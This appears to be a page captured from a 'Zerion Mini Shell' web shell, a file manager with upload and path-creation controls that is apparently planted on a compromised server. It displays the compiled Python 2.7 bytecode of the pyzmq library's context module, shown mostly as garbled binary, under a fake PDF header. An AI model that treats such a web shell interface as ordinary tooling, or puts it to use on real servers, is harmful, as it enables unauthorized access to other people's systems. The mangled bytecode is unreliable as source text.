%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python2.7/site-packages/zmq/sugar/
Upload File :
Create Path :
Current File : //lib64/python2.7/site-packages/zmq/sugar/context.pyc

�
+�{Wc@s�dZddlZddlmZddlmZddlmZddlm	Z	m
Z
ddlmZdd	l
mZead
�Zeje�deefd��YZdgZdS(
sPython bindings for 0MQ.i����N(tContexti(t	constants(tAttributeSetter(tENOTSUPt
ctx_opt_names(tSocket(tZMQErrorcCs
tadS(N(tTruet_exiting(((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt_notice_atexitsRcBs�eZdZdZdZeZdd�Zd�Z	d�Z
d�Zdd�ZeZ
ed��Zed��Zedd	��Zd
�Zed��Zd�Zd
�Zd�Zd�Zd�Zd�ZRS(s_Create a zmq Context
    
    A zmq Context creates sockets via its ``ctx.socket`` method.
    icKsPtt|�jd||�|jdt�r:t|_n	t|_i|_dS(Nt
io_threadstshadow(tsuperRt__init__tgettFalseRt_shadowtsockopts(tselfR
tkwargs((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyR
 s
	cCs"|jrtr|j�ndS(sMdeleting a Context should terminate it, without trying non-threadsafe destroyN(RRtterm(R((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt__del__)scCs|S(N((R((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt	__enter__.scOs|j�dS(N(R(RtargsR((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt__exit__1scCs|jj|j�S(s'Copying a Context creates a shadow copy(t	__class__Rt
underlying(Rtmemo((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt__copy__4scCs)ddlm}||�}|d|�S(s�Shadow an existing libzmq context
        
        address is the integer address of the libzmq context
        or an FFI pointer to it.
        
        .. versionadded:: 14.1
        i����(t
cast_int_addrR(tzmq.utils.interopR(tclstaddressR((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyR:s	cCsHddlm}ddlm}|j|�}||�}|d|�S(s�Shadow an existing pyczmq context
        
        ctx is the FFI `zctx_t *` pointer
        
        .. versionadded:: 14.1
        i����(tzctx(RR(tpyczmqR!RRR(RtctxR!RRR ((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt
shadow_pyczmqGs
cCs7|jdks|jjr0|d|�|_n|jS(s:Returns a global Context instance.

        Most single-threaded applications have a single, global Context.
        Use this method instead of passing around Context instances
        throughout your code.

        A common pattern for classes that depend on Contexts is to use
        a default argument to enable programs with multiple Contexts
        but not require the argument for simpler applications:

            class MyClass(object):
                def __init__(self, context=None):
                    self.context = context or Context.instance()
        R
N(t	_instancetNonetclosed(RR
((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pytinstanceWscCs4t|j�}xtfD]}|j|�qW|S(N(tdirRRtextend(Rtkeyst
collection((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt__dir__os

cCstS(N(R(R((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt
_socket_class|scKsy|jrtt��n|j|||�}xE|jj�D]4\}}y|j||�Wq=tk
rpq=Xq=W|S(s]Create a Socket associated with this Context.

        Parameters
        ----------
        socket_type : int
            The socket type, which can be any of the 0MQ socket types:
            REQ, REP, PUB, SUB, PAIR, DEALER, ROUTER, PULL, PUSH, etc.

        kwargs:
            will be passed to the __init__ method of the socket class.
        (R'RRR.Rtitemst
setsockopt(Rtsocket_typeRtstopttvalue((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pytsocket�s	
cCs||j|<dS(ssset default socket options for new sockets created by this Context
        
        .. versionadded:: 13.0
        N(R(RR3R4((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyR0�scCs|j|S(ssget default socket options for new sockets created by this Context
        
        .. versionadded:: 13.0
        (R(RR3((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt
getsockopt�scCs0|tjkr|j||�S||j|<dS(s"set default sockopts as attributesN(RRtsetR(RtnameR3R4((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt
_set_attr_opt�scCsI|tjkr|j|�S||jkr:t|��n|j|SdS(s"get default sockopts as attributesN(RRRRtAttributeError(RR8R3((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt
_get_attr_opt�s

cCso|j�}ytt|�}Wn!tk
rBtd|��n)X||jkrat|��n
|j|=dS(s%delete default sockopts as attributessno such socket option: %sN(tuppertgetattrRR:R(RtkeyR3((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt__delattr__�s
N(t__name__t
__module__t__doc__R&RR%RRR
RRRRt__deepcopy__tclassmethodRR$R(R-tpropertyR.R5R0R6R9R;R?(((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyRs,				
	
					
(RBtatexittzmq.backendRtContextBasetRt	attrsettrRRRR5Rt	zmq.errorRRRR	tregistert__all__(((s7/usr/lib64/python2.7/site-packages/zmq/sugar/context.pyt<module>s	
�

Zerion Mini Shell 1.0